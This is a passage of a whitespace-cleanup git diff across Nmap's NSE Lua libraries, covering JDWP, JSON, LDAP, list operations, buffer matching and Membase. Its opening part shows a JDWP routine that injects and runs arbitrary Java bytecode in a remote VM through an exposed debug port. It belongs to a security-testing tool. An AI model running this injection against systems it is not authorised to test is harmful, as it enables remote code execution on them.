%d",secureClassLoader) - -- find SecureClassLoader() constructor + -- find SecureClassLoader() constructor local constructorMethodID = findMethod(socket,secureClassLoader,"",true) -- find ClassLoader id by signature status, classes = getClassBySignature(socket,0,"Ljava/lang/ClassLoader;") if not status then return false - end + end local classLoader = classes[1].referenceTypeID stdnse.print_debug("Found ClassLoader id %d",classes[1].referenceTypeID) -- find ClassLoader's defineClass() method local defineClassMethodID = findMethod(socket,classLoader,"defineClass",false) -- find ClassLoader's resolveClass() method - local resolveClassMethodID = findMethod(socket,classLoader,"resolveClass",false) + local resolveClassMethodID = findMethod(socket,classLoader,"resolveClass",false) if constructorMethodID == nil or defineClassMethodID == nil or resolveClassMethodID == nil then stdnse.print_debug("Either constructor, defineClass or resolveClass method could not be found %s,%s,%s", type(constructorMethodID), type(defineClassMethodID),type(resolveClassMethodID)) return false @@ -976,13 +976,13 @@ function injectClass(socket,class_bytes) -- create array to load bytecode into - local arrayID + local arrayID status, arrayID = newArrayInstance(socket,0,byteArrayID,#class_bytes) if not status then stdnse.print_debug("New array failed: %s", arrayID) return false end - stdnse.print_debug("Created new byte array of length %d",#class_bytes) + stdnse.print_debug("Created new byte array of length %d",#class_bytes) -- set array values local temp status, temp = setArrayValues(socket,0,arrayID,0,class_bytes) @@ -990,12 +990,12 @@ function injectClass(socket,class_bytes) stdnse.print_debug("Set values failed: %s", temp) return end - stdnse.print_debug("Set array values to injected class bytes") - - -- get main thread id + stdnse.print_debug("Set array values to injected class bytes") + + -- get main thread id -- in order to load a new class file, thread must be suspended by an event -- so we set it to singlestep, let it run and it get suspended right away - local threads + local threads status,threads = getAllThreads(socket,0) if not status then stdnse.print_debug("get threads failed: %s", threads) @@ -1003,7 +1003,7 @@ function injectClass(socket,class_bytes) end local main_thread local eventID - stdnse.print_debug("Looking for main thread...") + stdnse.print_debug("Looking for main thread...") for _,thread in ipairs(threads) do local thread_name status, thread_name = getThreadName(socket,0,thread) @@ -1012,7 +1012,7 @@ function injectClass(socket,class_bytes) return false end if thread_name == "main" then - stdnse.print_debug("Setting singlesteping to main thread.") + stdnse.print_debug("Setting singlesteping to main thread.") status, eventID = setThreadSinglestep(socket,0,thread) main_thread = thread break @@ -1023,25 +1023,25 @@ function injectClass(socket,class_bytes) return false end -- to trigger the singlestep event, VM must be resumed - stdnse.print_debug("Resuming VM and waiting for single step event from main thread...") + stdnse.print_debug("Resuming VM and waiting for single step event from main thread...") local status, _ = resumeVM(socket,0) -- clear singlestep since we need to run our code in this thread and we don't want it to stop after each instruction clearThreadSinglestep(socket,0,eventID) - stdnse.print_debug("Cleared singlesteping from main thread.") - - -- instantiate new class loader - local class_loader_instance + stdnse.print_debug("Cleared singlesteping from main thread.") + + -- instantiate new class loader + local class_loader_instance status, class_loader_instance = newClassInstance(socket,0,secureClassLoader,main_thread,constructorMethodID,0,nil) if not status then stdnse.print_debug("newClassInstance failed: %s", class_loader_instance) return false end - stdnse.print_debug("Created new instance of SecureClassLoader.") - - local injectedClass + stdnse.print_debug("Created new instance of SecureClassLoader.") + + local injectedClass -- invoke defineClass with byte array that contains our bytecode local defineClassArgs = bin.pack(">CLCiCi",0x5b,arrayID,0x49,0,0x49,#class_bytes) -- argument tags taken from http://docs.oracle.com/javase/6/docs/technotes/guides/jni/spec/types.html#wp9502 - stdnse.print_debug("Calling secureClassLoader.defineClass(byte[],int,int) ...") + stdnse.print_debug("Calling secureClassLoader.defineClass(byte[],int,int) ...") status, injectedClass = invokeObjectMethod(socket,0,class_loader_instance,main_thread,secureClassLoader,defineClassMethodID,3,defineClassArgs) if not status then stdnse.print_debug("invokeObjectMethod failed: %s", injectedClass) @@ -1053,34 +1053,34 @@ function injectClass(socket,class_bytes) end -- extract the injected class' ID local tag,injectedClassID - _,tag,injectedClassID = bin.unpack(">CL",injectedClass) + _,tag,injectedClassID = bin.unpack(">CL",injectedClass) -- our class is now injected, but we need to find it's methods by calling Class.getMethods() on it -- and for that we need its runtime_type which is Class - local runtime_type + local runtime_type status, runtime_type = getRuntimeType(socket,0,injectedClassID) -- should be Class - -- find the getMethods() id + -- find the getMethods() id local getMethodsMethod = findMethod(socket,runtime_type,"getMethods",false) - status, _ = invokeObjectMethod(socket,0,injectedClassID,main_thread,runtime_type,getMethodsMethod,0,nil) + status, _ = invokeObjectMethod(socket,0,injectedClassID,main_thread,runtime_type,getMethodsMethod,0,nil) - stdnse.print_debug("New class defined. Injected class id : %d",injectedClassID) + stdnse.print_debug("New class defined. Injected class id : %d",injectedClassID) local sig, reflected_type status, sig = getSignatureWithGeneric(socket,0,injectedClassID) stdnse.print_debug("Injected class signature: %s", sig) - status, reflected_type = getReflectedType(socket,0,injectedClassID) + status, reflected_type = getReflectedType(socket,0,injectedClassID) -- find injected class constructor local injectedConstructor = findMethod(socket,injectedClassID,"",false) - + if injectedConstructor == nil then stdnse.print_debug("Couldn't find either evil method or constructor") return false - end - - -- instantiate our evil class + end + + -- instantiate our evil class local injectedClassInstance - status, injectedClassInstance = newClassInstance(socket,0,injectedClassID,main_thread,injectedConstructor,0,nil) + status, injectedClassInstance = newClassInstance(socket,0,injectedClassID,main_thread,injectedConstructor,0,nil) if not status then return false, injectedClassInstance end diff --git a/nselib/json.lua b/nselib/json.lua index fd86f62e2..9cc0d752e 100644 --- a/nselib/json.lua +++ b/nselib/json.lua @@ -2,7 +2,7 @@ -- Library methods for handling JSON data. It handles JSON encoding and -- decoding according to RFC 4627. -- --- There is a test section at the bottom which shows some example +-- There is a test section at the bottom which shows some example -- parsing. If you want to parse JSON, you can test it by pasting sample JSON -- into the TESTS table and run the test method -- @@ -19,9 +19,9 @@ -- Version 0.4 -- Created 01/25/2010 - v0.1 - created by Martin Holst Swende -- Heavily modified 02/22/2010 - v0.3. Rewrote the parser into an OO-form, to not have to handle --- all kinds of state with parameters and return values. --- Modified 02/27/2010 - v0.4 Added unicode handling (written by David Fifield). Renamed toJson --- and fromJson intogenerate() and parse(), implemented more proper numeric parsing and added some more error checking. +-- all kinds of state with parameters and return values. +-- Modified 02/27/2010 - v0.4 Added unicode handling (written by David Fifield). Renamed toJson +-- and fromJson intogenerate() and parse(), implemented more proper numeric parsing and added some more error checking. local bit = require "bit" local nmap = require "nmap" @@ -72,7 +72,7 @@ do end end --- Escapes a string +-- Escapes a string --@param str the string --@return a string where the special chars have been escaped local function escape(str) @@ -123,7 +123,7 @@ end --@return a string containing valid json function generate(obj) - -- NULL-check must be performed before + -- NULL-check must be performed before -- checking type == table, since the NULL-object -- is a table if obj == NULL then @@ -177,11 +177,11 @@ end function Json:eatWhiteSpace() --Find next non-white char local a,b = self.input:find("%S",self.pos) - if not a then + if not a then self:syntaxerror("Empty data") return end - self.pos = a + self.pos = a end -- Jumps to a specified position @@ -206,7 +206,7 @@ end -- If false, triggers a syntax error --@param str the string to test function Json:assertStr(str) - local content = self.input:sub(self.pos,self.pos+str:len()-1) + local content = self.input:sub(self.pos,self.pos+str:len()-1) if(content == str) then-- All ok -- Jump forward self:jumpTo(self.pos+str:len()) @@ -231,9 +231,9 @@ function Json:parseStart() -- of the outermost container can other types appear. self:eatWhiteSpace() local c = self:peek() - if c == '{' then + if c == '{' then return self:parseObject() - elseif c == '[' then + elseif c == '[' then return self:parseArray() else self:syntaxerror(("JSON must start with object or array (started with %s)"):format(c)) @@ -246,13 +246,13 @@ end function Json:parseValue() self:eatWhiteSpace() local c = self:peek() - + local value - if c == '{' then + if c == '{' then value = self:parseObject() - elseif c == '[' then + elseif c == '[' then value = self:parseArray() - elseif c == '"' then + elseif c == '"' then value = self:parseString() elseif c == 'n' then self:assertStr("null") @@ -271,7 +271,7 @@ function Json:parseValue() return end value = tonumber(self.input:sub(a,b)) - if(value == nil) then + if(value == nil) then self:syntaxerror("Error 2 parsing numeric value") return end @@ -285,7 +285,7 @@ function Json:parseObject() local object = {} make_object(object) local _= self:next() -- Eat { - + while(self:hasMore() and not self:errors()) do self:eatWhiteSpace() local c = self:peek() @@ -293,14 +293,14 @@ function Json:parseObject() self:next() -- Eat it return object end - + if(c ~= '"') then self:syntaxerror(("Expected '\"', got '%s'"):format(c)) return end - + local key = self:parseString() - if self:errors() then + if self:errors() then return end self:eatWhiteSpace() @@ -310,18 +310,18 @@ function Json:parseObject() return end local value = self:parseValue() - - if self:errors() then + + if self:errors() then return end - + object[key] = value - + self:eatWhiteSpace() c = self:next() -- Valid now is , or } - if(c == '}') then - return object + if(c == '}') then + return object end if(c ~= ',') then self:syntaxerror("Expected ',' or '}', got "..c) @@ -448,20 +448,20 @@ function Json:parseString() assert( c == '"') while(self:hasMore()) do local c = self:next() - + if(c == '"') then -- end of string break elseif(c == '\\') then-- Escaped char local d = self:next() - if REVERSE_ESCAPE_TABLE[d] ~= nil then - val = val .. REVERSE_ESCAPE_TABLE[d] + if REVERSE_ESCAPE_TABLE[d] ~= nil then + val = val .. REVERSE_ESCAPE_TABLE[d] elseif d == 'u' then -- Unicode chars local codepoint = self:parseUnicodeEscape() if not codepoint then return end val = val .. utf8_enc(codepoint) - else + else self:syntaxerror(("Undefined escape character '%s'"):format(d)) return false end @@ -472,7 +472,7 @@ function Json:parseString() return val end --- Parses json data into an object form --- This is the method you probably want to use if you +-- This is the method you probably want to use if you -- use this library from a script. --@param data a json string --@return status true if ok, false if bad @@ -510,7 +510,7 @@ local TESTS = { '{"a" bad :1}', -- error '["a\\\\t"]', -- Should become Lua {"a\\t"} '[0.0.0]', -- error - '[-1]', + '[-1]', '[-1.123e-2]', '[5e3]', '[5e+3]', @@ -531,7 +531,7 @@ function test() print(v) status,res = parse(v) if not status then print( res) end - if(status) then + if(status) then print(generate(res)) else print("Error:".. res) diff --git a/nselib/ldap.lua b/nselib/ldap.lua index 72f25c59f..0e48af7bc 100644 --- a/nselib/ldap.lua +++ b/nselib/ldap.lua @@ -1,5 +1,5 @@ --- --- Library methods for handling LDAP. +-- Library methods for handling LDAP. -- -- @author Patrik Karlsson -- @copyright Same as Nmap--See http://nmap.org/book/man-legal.html @@ -14,7 +14,7 @@ -- formats -- Revised 10/29/2011 - v0.5 - Added support for performing wildcard searches via the substring filter. -- Revised 10/30/2011 - v0.6 - Added support for the ldap extensibleMatch filter type for searches --- +-- local asn1 = require "asn1" local bin = require "bin" @@ -48,7 +48,7 @@ APPNO = { UnbindRequest = 2, SearchRequest = 3, SearchResponse = 4, - SearchResDone = 5 + SearchResDone = 5 } -- Filter operation constants @@ -67,10 +67,10 @@ FILTER = { -- Scope constants SCOPE = { - base=0, - one=1, - sub= 2, - children=3, + base=0, + one=1, + sub= 2, + children=3, default = 0 } @@ -90,7 +90,7 @@ tagEncoder['table'] = function(self, val) if (val._ldap == '0A') then local ival = self.encodeInt(val[1]) local len = self.encodeLength(#ival) - return bin.pack('HAA', '0A', len, ival) + return bin.pack('HAA', '0A', len, ival) end if (val._ldaptype) then local len @@ -101,17 +101,17 @@ tagEncoder['table'] = function(self, val) return bin.pack('HAA', val._ldaptype, len, val[1]) end end - + local encVal = "" for _, v in ipairs(val) do encVal = encVal .. encode(v) -- todo: buffer? end local tableType = bin.pack("H", "30") - if (val["_snmp"]) then - tableType = bin.pack("H", val["_snmp"]) - end + if (val["_snmp"]) then + tableType = bin.pack("H", val["_snmp"]) + end return bin.pack('AAA', tableType, self.encodeLength(#encVal), encVal) - + end --- @@ -120,17 +120,17 @@ end -- @param val Value to be encoded. -- @return Encoded value. function encode(val) - + local encoder = asn1.ASN1Encoder:new() local encValue - + encoder:registerTagEncoders(tagEncoder) encValue = encoder:encode(val) - + if encValue then return encValue end - + return '' end @@ -179,7 +179,7 @@ local function decodeSeq(encStr, len, pos) local sPos = 1 local sStr pos, sStr = bin.unpack("A" .. len, encStr, pos) - if(sStr==nil) then + if(sStr==nil) then return pos,seq end while (sPos < len) do @@ -217,7 +217,7 @@ end -- @param socket socket already connected to the ldap server -- @param params table containing at least scope, derefPolicy, baseObject -- the field maxObjects may also be included to restrict the amount of records returned --- @return success true or false. +-- @return success true or false. -- @return err string containing error message function searchRequest( socket, params ) @@ -229,35 +229,35 @@ function searchRequest( socket, params ) local attrSeq = '' local requestData, messageSeq, data local maxObjects = params.maxObjects or -1 - + local encoder = asn1.ASN1Encoder:new() local decoder = asn1.ASN1Decoder:new() - + encoder:registerTagEncoders(tagEncoder) decoder:registerTagDecoders(tagDecoder) - + request = request .. encode( { _ldap='0A', params.scope } )--scope request = request .. encode( { _ldap='0A', params.derefPolicy } )--derefpolicy request = request .. encode( params.sizeLimit or 0)--sizelimit request = request .. encode( params.timeLimit or 0)--timelimit request = request .. encode( params.typesOnly or false)--TypesOnly - + if params.filter then request = request .. createFilter( params.filter ) else request = request .. encode( { _ldaptype='87', "objectclass" } )-- filter : string, presence end if attributes~= nil then - for _,attr in ipairs(attributes) do + for _,attr in ipairs(attributes) do attrSeq = attrSeq .. encode(attr) - end + end end request = request .. encoder:encodeSeq(attrSeq) requestData = encodeLDAPOp(APPNO.SearchRequest, true, request) - messageSeq = encode(ldapMessageId) + messageSeq = encode(ldapMessageId) ldapMessageId = ldapMessageId +1 - messageSeq = messageSeq .. requestData + messageSeq = messageSeq .. requestData data = encoder:encodeSeq(messageSeq) try( socket:send( data ) ) data = "" @@ -268,13 +268,13 @@ function searchRequest( socket, params ) local _, objectName, attributes, ldapOp local attributes local searchResEntry = {} - + if ( maxObjects == 0 ) then break elseif ( maxObjects > 0 ) then maxObjects = maxObjects - 1 end - + if data:len() > 6 then pos, len = decoder.decodeLength( data, pos ) else @@ -285,13 +285,13 @@ function searchRequest( socket, params ) while ( len + pos - 1 > data:len() ) do data = data .. try( socket:receive() ) end - + pos, messageId = decode( data, pos ) pos, tmp = bin.unpack("C", data, pos) pos, len = decoder.decodeLength( data, pos ) ldapOp = asn1.intToBER( tmp ) searchResEntry = {} - + if ldapOp.number == APPNO.SearchResDone then pos, searchResEntry.resultCode = decode( data, pos ) -- errors may occur after a large amount of data has been received (eg. size limit exceeded) @@ -303,7 +303,7 @@ function searchRequest( socket, params ) local error_msg pos, searchResEntry.matchedDN = decode( data, pos ) pos, searchResEntry.errorMessage = decode( data, pos ) - error_msg = ERROR_MSG[searchResEntry.resultCode] + error_msg = ERROR_MSG[searchResEntry.resultCode] -- if the table is empty return a hard error if #searchResEntries == 0 then return false, string.format("Code: %d|Error: %s|Details: %s", searchResEntry.resultCode, error_msg or "", searchResEntry.errorMessage or "" ) @@ -319,7 +319,7 @@ function searchRequest( socket, params ) pos, searchResEntry.objectName = decode( data, pos ) if ldapOp.number == APPNO.SearchResponse then pos, searchResEntry.attributes = decode( data, pos ) - + table.insert( searchResEntries, searchResEntry ) end if data:len() > pos then @@ -345,23 +345,23 @@ function bindRequest( socket, params ) local ldapAuth = encode( { _ldaptype = 80, params.password } ) local bindReq = encode( params.version ) .. encode( params.username ) .. ldapAuth local ldapMsg = encode(ldapMessageId) .. encodeLDAPOp( APPNO.BindRequest, true, bindReq ) - local packet + local packet local pos, packet_len, resultCode, tmp, len, _ local response = {} local encoder = asn1.ASN1Encoder:new() local decoder = asn1.ASN1Decoder:new() - + encoder:registerTagEncoders(tagEncoder) decoder:registerTagDecoders(tagDecoder) - + packet = encoder:encodeSeq( ldapMsg ) ldapMessageId = ldapMessageId +1 try( socket:send( packet ) ) packet = try( socket:receive() ) pos, packet_len = decoder.decodeLength( packet, 2 ) - pos, response.messageID = decode( packet, pos ) + pos, response.messageID = decode( packet, pos ) pos, tmp = bin.unpack("C", packet, pos) pos, len = decoder.decodeLength( packet, pos ) response.protocolOp = asn1.intToBER( tmp ) @@ -369,20 +369,20 @@ function bindRequest( socket, params ) if response.protocolOp.number ~= APPNO.BindResponse then return false, string.format("Recieved incorrect Op in packet: %d, expected %d", response.protocolOp.number, APPNO.BindResponse) end - + pos, response.resultCode = decode( packet, pos ) - + if ( response.resultCode ~= 0 ) then local error_msg pos, response.matchedDN = decode( packet, pos ) pos, response.errorMessage = decode( packet, pos ) - error_msg = ERROR_MSG[response.resultCode] - return false, string.format("\n Error: %s\n Details: %s", + error_msg = ERROR_MSG[response.resultCode] + return false, string.format("\n Error: %s\n Details: %s", error_msg or "Unknown error occured (code: " .. response.resultCode .. ")", response.errorMessage or "" ) else return true, "Success" - end + end end --- Performs an LDAP Unbind @@ -422,13 +422,13 @@ function createFilter( filter ) filter_str = filter_str .. createFilter( v ) end else - local obj = encode( filter.obj ) + local obj = encode( filter.obj ) local val = '' if ( filter.op == FILTER['substrings'] ) then - + local tmptable = stdnse.strsplit('*', filter.val) local tmp_result = '' - + if (#tmptable <= 1 ) then -- 0x81 = 10000001 = 10 0 00001 -- hex binary Context Primitive value Field: Sequence Value: 1 (any / any position in string) @@ -446,7 +446,7 @@ function createFilter( filter ) -- hex binary Context Primitive value Field: Sequence Value: 1 (any / match in any position in string) tmp_result = tmp_result .. bin.pack('HAA' , '81', string.char(#substr), substr) end - + if (indexval == #tmptable) and (substr ~= '') then -- 0x82 = 10000010 = 10 0 00010 -- hex binary Context Primitive value Field: Sequence Value: 2 (final / match at end of string) @@ -456,30 +456,30 @@ function createFilter( filter ) end val = asn1.ASN1Encoder:encodeSeq( tmp_result ) - + elseif ( filter.op == FILTER['extensibleMatch'] ) then - + local tmptable = stdnse.strsplit(':=', filter.val) local tmp_result = '' local OID, bitmask - + if ( tmptable[1] ~= nil ) then OID = tmptable[1] else return false, ("ERROR: Invalid extensibleMatch query format") end - + if ( tmptable[2] ~= nil ) then bitmask = tmptable[2] else return false, ("ERROR: Invalid extensibleMatch query format") end - + -- Format and create matchingRule using OID -- 0x81 = 10000001 = 10 0 00001 -- hex binary Context Primitive value Field: matchingRule Value: 1 tmp_result = bin.pack('HAA' , '81', string.char(#OID), OID) - + -- Format and create type using ldap attribute -- 0x82 = 10000010 = 10 0 00010 -- hex binary Context Primitive value Field: Type Value: 2 @@ -488,7 +488,7 @@ function createFilter( filter ) -- Format and create matchValue using bitmask -- 0x83 = 10000011 = 10 0 00011 -- hex binary Context Primitive value Field: matchValue Value: 3 - tmp_result = tmp_result .. bin.pack('HAA' , '83', string.char(#bitmask), bitmask) + tmp_result = tmp_result .. bin.pack('HAA' , '83', string.char(#bitmask), bitmask) -- Format and create dnAttributes, defaulting to false -- 0x84 = 10000100 = 10 0 00100 @@ -496,7 +496,7 @@ function createFilter( filter ) -- -- 0x01 = field length -- 0x00 = boolean value, in this case false - tmp_result = tmp_result .. bin.pack('H' , '840100') + tmp_result = tmp_result .. bin.pack('H' , '840100') -- Format the overall extensibleMatch block -- 0xa9 = 10101001 = 10 1 01001 @@ -505,9 +505,9 @@ function createFilter( filter ) else val = encode( filter.val ) - end - - filter_str = filter_str .. obj .. val + end + + filter_str = filter_str .. obj .. val end return encode( { _ldaptype=bin.pack("A", string.format("%X", asn1_type)), filter_str } ) @@ -528,7 +528,7 @@ function searchResultToTable( searchEntries ) for _, v in ipairs( searchEntries ) do local result_part = {} if v.objectName and v.objectName:len() > 0 then - result_part.name = string.format("dn: %s", v.objectName) + result_part.name = string.format("dn: %s", v.objectName) else result_part.name = "" end @@ -553,7 +553,7 @@ function searchResultToTable( searchEntries ) end end table.insert( result_part, attribs ) - end + end table.insert( result, result_part ) end return result @@ -573,16 +573,16 @@ end function searchResultToFile( searchEntries, filename ) local f = io.open( filename, "w") - + if ( not(f) ) then return false, ("ERROR: Failed to open file (%s)"):format(filename) end - + -- Build table structure. Using a multi pass approach ( build table then populate table ) -- because the objects returned may not necessarily have the same number of attributes -- making single pass CSV output generation problematic. - -- Unfortunately the searchEntries table passed to this function is not organized in a - -- way that make particular attributes for a given hostname directly addressable. + -- Unfortunately the searchEntries table passed to this function is not organized in a + -- way that make particular attributes for a given hostname directly addressable. -- -- At some point restructuring the searchEntries table may be a good optimization target @@ -597,15 +597,15 @@ function searchResultToFile( searchEntries, filename ) end end end - end + end end - + -- build table of hosts local host_table = {} for _, v in ipairs( searchEntries ) do if v.objectName and v.objectName:len() > 0 then local host = {} - + if v.objectName and v.objectName:len() > 0 then -- use a copy of the table here, assigning attrib_table into host_table -- links the values so setting it for one host changes the specific attribute @@ -614,44 +614,44 @@ function searchResultToFile( searchEntries, filename ) end end end - + -- populate the host table with values for each attribute that has valid data for _, v in ipairs( searchEntries ) do if ( v.attributes ~= nil ) then for _, attrib in ipairs( v.attributes ) do - for i=2, #attrib do + for i=2, #attrib do -- do some additional Windows decoding if ( attrib[1] == "objectSid" ) then host_table[string.format("%s", v.objectName)].attributes[attrib[1]] = string.format( "%d", decode( attrib[i] ) ) - + elseif ( attrib[1] == "objectGUID") then local _, o1, o2, o3, o4, o5, o6, o7, o8, o9, oa, ob, oc, od, oe, of = bin.unpack("C16", attrib[i] ) host_table[string.format("%s", v.objectName)].attributes[attrib[1]] = string.format( "%x%x%x%x-%x%x-%x%x-%x%x-%x%x%x%x%x", o4, o3, o2, o1, o5, o6, o7, o8, o9, oa, ob, oc, od, oe, of ) - + elseif ( attrib[1] == "lastLogon" or attrib[1] == "lastLogonTimestamp" or attrib[1] == "pwdLastSet" or attrib[1] == "accountExpires" or attrib[1] == "badPasswordTime" ) then host_table[string.format("%s", v.objectName)].attributes[attrib[1]] = convertADTimeStamp(attrib[i]) - + elseif ( attrib[1] == "whenChanged" or attrib[1] == "whenCreated" or attrib[1] == "dSCorePropagationData" ) then host_table[string.format("%s", v.objectName)].attributes[attrib[1]] = convertZuluTimeStamp(attrib[i]) - + else host_table[v.objectName].attributes[attrib[1]] = string.format( "%s", attrib[i] ) end - + end end - end + end end -- write the new, fully populuated table out to CSV - + -- initialize header row local output = "\"name\"" for attribute, value in pairs(attrib_table) do output = output .. ",\"" .. attribute .. "\"" - end + end output = output .. "\n" - + -- gather host data from fields, add to output. for name, attribs in pairs(host_table) do output = output .. "\"" .. name .. "\"" @@ -661,13 +661,13 @@ function searchResultToFile( searchEntries, filename ) end output = output .. "\n" end - + -- write the output to file if ( not(f:write( output .."\n" ) ) ) then f:close() return false, ("ERROR: Failed to write file (%s)"):format(filename) end - + f:close() return true end @@ -684,7 +684,7 @@ function extractAttribute( searchEntries, attributeName ) if ( v.attributes ~= nil ) then for _, attrib in ipairs( v.attributes ) do local attribType = attrib[1] - for i=2, #attrib do + for i=2, #attrib do if ( attribType:upper() == attributeName:upper() ) then table.insert( attributeTbl, attrib[i]) end @@ -706,22 +706,22 @@ function convertADTimeStamp(timestamp) local base_time = tonumber(os.time({year=1601, month=1, day=1, hour=0, minute=0, sec =0})) timestamp = tonumber(timestamp) - + if (timestamp and timestamp > 0) then - + -- The result value was 3036 seconds off what Microsoft says it should be. -- I have been unable to find an explaination for this, and have resorted to -- manually adjusting the formula. - + result = ( timestamp / 10000000 ) - 3036 result = result + base_time result = os.date("%Y/%m/%d %H:%M:%S UTC", result) else result = 'Never' end - + return result - + end --- Converts a non-delimited Zulu timestamp format to a human readable form @@ -741,13 +741,13 @@ function convertZuluTimeStamp(timestamp) local mins = string.sub(timestamp,11,12) local secs = string.sub(timestamp,13,14) local result = year .. "/" .. month .. "/" .. day .. " " .. hour .. ":" .. mins .. ":" .. secs .. " UTC" - + return result - + else - return 'Invalid date format' + return 'Invalid date format' end - + end --- Creates a copy of a table @@ -757,8 +757,8 @@ end -- @return table object containing copy of original function copyTable(targetTable) local temp = { } - for key, val in pairs(targetTable) do - temp[key] = val + for key, val in pairs(targetTable) do + temp[key] = val end return setmetatable(temp, getmetatable(targetTable)) end diff --git a/nselib/listop.lua b/nselib/listop.lua index d30ea2661..ca07d629d 100644 --- a/nselib/listop.lua +++ b/nselib/listop.lua @@ -6,7 +6,7 @@ -- listop module tries to bring much of the functionality from -- functional languages to Lua using Lua's central data structure, the table, as -- a base for its list operations. Highlights include a map --- function applying a given function to each element of a list. +-- function applying a given function to each element of a list. -- @copyright Same as Nmap--See http://nmap.org/book/man-legal.html local stdnse = require "stdnse" @@ -32,8 +32,8 @@ Functional programming style 'list' operations value ncar(list, x) list cdr(list) list ncdr(list, x) - - where 'list' is an indexed table + + where 'list' is an indexed table where 'value' is an lua datatype --]] @@ -58,7 +58,7 @@ end -- @param f The function to call. -- @param l A list. -- @return List of function results. -function map(f, l) +function map(f, l) local results = {} for _, v in ipairs(l) do results[#results+1] = f(v); @@ -87,7 +87,7 @@ end -- @param f The function. -- @param l The list. -- @return Filtered list. -function filter(f, l) +function filter(f, l) local results = {} for i, v in ipairs(l) do if(f(v)) then @@ -125,7 +125,7 @@ end -- @param x Element index. -- @return Elements after index x or after index 1 if -- x is not given. -function ncdr(l, x) +function ncdr(l, x) return {table.unpack(l, x or 2)}; end diff --git a/nselib/match.lua b/nselib/match.lua index f12a793a2..e1f69034c 100644 --- a/nselib/match.lua +++ b/nselib/match.lua @@ -11,12 +11,12 @@ _ENV = stdnse.module("match", stdnse.seeall) --various functions for use with nse's nsock:receive_buf - function --- e.g. +-- e.g. -- sock:receive_buf(regex("myregexpattern")) - does a match using pcre- regular- -- - expressions --- sock:receive_buf(numbytes(80)) - is the buffered version of +-- sock:receive_buf(numbytes(80)) - is the buffered version of -- sock:receive_bytes(80) - i.e. it returns --- exactly 80 bytes and no more +-- exactly 80 bytes and no more --- Return a function that allows delimiting with a regular expression. -- @@ -41,7 +41,7 @@ end -- This function can be used to get a buffered version of -- sock:receive_bytes(n) in case a script requires more than one -- fixed-size chunk, as the unbuffered version may return more bytes than --- requested and thus would require you to do the parsing on your own. +-- requested and thus would require you to do the parsing on your own. -- @param num Number of bytes. -- @usage sock:receive_buf(match.numbytes(80)) -- @see nmap.receive_buf diff --git a/nselib/membase.lua b/nselib/membase.lua index e0f759404..88cd1bdf7 100644 --- a/nselib/membase.lua +++ b/nselib/membase.lua @@ -17,16 +17,16 @@ _ENV = stdnse.module("membase", stdnse.seeall) -- A minimalistic implementation of the Couchbase Membase TAP protocol TAP = { - + -- Operations Op = { LIST_SASL_MECHS = 0x20, AUTHENTICATE = 0x21, }, - + -- Requests Request = { - + -- Header breakdown -- Field (offset) (value) -- Magic (0): 0x80 (PROTOCOL_BINARY_REQ) @@ -38,8 +38,8 @@ TAP = { -- Total body (8-11): 0x00000000 (0) -- Opaque (12-15): 0x00000000 (0) -- CAS (16-23): 0x0000000000000000 (0) - Header = { - + Header = { + -- Creates a new instance of Header -- @param opcode number containing the operation -- @return o new instance of Header @@ -59,7 +59,7 @@ TAP = { self.__index = self return o end, - + -- Converts the header to string -- @return string containing the Header as string __tostring = function(self) @@ -68,7 +68,7 @@ TAP = { self.opaque, self.CAS) end, }, - + -- List SASL authentication mechanism SASLList = { @@ -90,7 +90,7 @@ TAP = { return tostring(self.header) end, }, - + -- Authenticates using SASL Authenticate = { @@ -119,7 +119,7 @@ TAP = { if ( self.mech == "PLAIN" ) then local mech_params = { self.username, self.password } local auth_data = sasl.Helper:new(self.mech):encode(table.unpack(mech_params)) - + self.header.keylen = #self.mech self.header.total_body = #auth_data + #self.mech return tostring(self.header) .. self.mech .. auth_data @@ -127,12 +127,12 @@ TAP = { end, } - + }, - + -- Responses Response = { - + -- The response header -- Header breakdown -- Field (offset) (value) @@ -146,7 +146,7 @@ TAP = { -- Opaque (12-15): 0x00000000 (0) -- CAS (16-23): 0x0000000000000000 (0) Header = { - + -- Creates a new instance of Header -- @param data string containing the raw data -- @return o new instance of Header @@ -160,7 +160,7 @@ TAP = { return o end end, - + -- Parse the raw header and populates the class members -- @return status true on success, false on failure parse = function(self) @@ -169,17 +169,17 @@ TAP = { return false, "Packet to short" end local pos - pos, self.magic, self.opcode, self.keylen, self.extlen, + pos, self.magic, self.opcode, self.keylen, self.extlen, self.data_type, self.status, self.total_body, self.opaque, self.CAS = bin.unpack(">CCSCCSIIL", self.data) return true end - + }, - + -- Decoders Decoder = { - + -- TAP.Op.LIST_SASL_MECHS [0x20] = { -- Creates a new instance of the decoder @@ -203,7 +203,7 @@ TAP = { return true end }, - + -- Login response [0x21] = { -- Creates a new instance of the decoder @@ -227,23 +227,23 @@ TAP = { return true end } - + } - + }, - + } -- The Helper class is the main script interface Helper = { - + -- Creates a new instance of the helper -- @param host table as received by the action method -- @param port table as received by the action method -- @param options table including options to the helper, currently: -- timeout - socket timeout in milliseconds new = function(self, host, port, options) - local o = { + local o = { host = host, port = port, mech = stdnse.get_script_args("membase.authmech"), @@ -253,7 +253,7 @@ Helper = { self.__index = self return o end, - + -- Connects the socket to the server -- @return true on success, false on failure connect = function(self) @@ -261,12 +261,12 @@ Helper = { self.socket:set_timeout(self.options.timeout or 10000) return self.socket:connect(self.host, self.port) end, - + -- Closes the socket close = function(self) return self.socket:close() end, - + -- Sends a request to the server, receives and parses the response -- @param req a Request instance -- @return status true on success, false on failure @@ -276,7 +276,7 @@ Helper = { if ( not(status) ) then return false, "Failed to send data" end - + local data status, data = self.socket:receive_buf(match.numbytes(24), true) if ( not(status) ) then @@ -284,32 +284,32 @@ Helper = { end local header = TAP.Response.Header:new(data) - + if ( header.opcode ~= req.header.opcode ) then stdnse.print_debug("WARNING: Received invalid op code, request contained (%d), response contained (%d)", req.header.opcode, header.opcode) end - + if ( not(TAP.Response.Decoder[tonumber(header.opcode)]) ) then return false, ("No response handler for opcode: %d"):format(header.opcode) end - + local status, data = self.socket:receive_buf(match.numbytes(header.total_body), true) if ( not(status) ) then return false, "Failed to receive data" end - + local response = TAP.Response.Decoder[tonumber(header.opcode)]:new(data) if ( not(response) ) then return false, "Failed to parse response from server" end return true, response end, - + -- Gets list of supported SASL authentication mechanisms getSASLMechList = function(self) return self:exch(TAP.Request.SASLList:new()) end, - + -- Logins to the server -- @param username string containing the username -- @param password string containing the password diff --git a/nselib/mobileme.lua b/nselib/mobileme.lua index 50d55ffd6..6f36e95e7 100644 --- a/nselib/mobileme.lua +++ b/nselib/mobileme.lua @@ -7,15 +7,15 @@ _ENV = 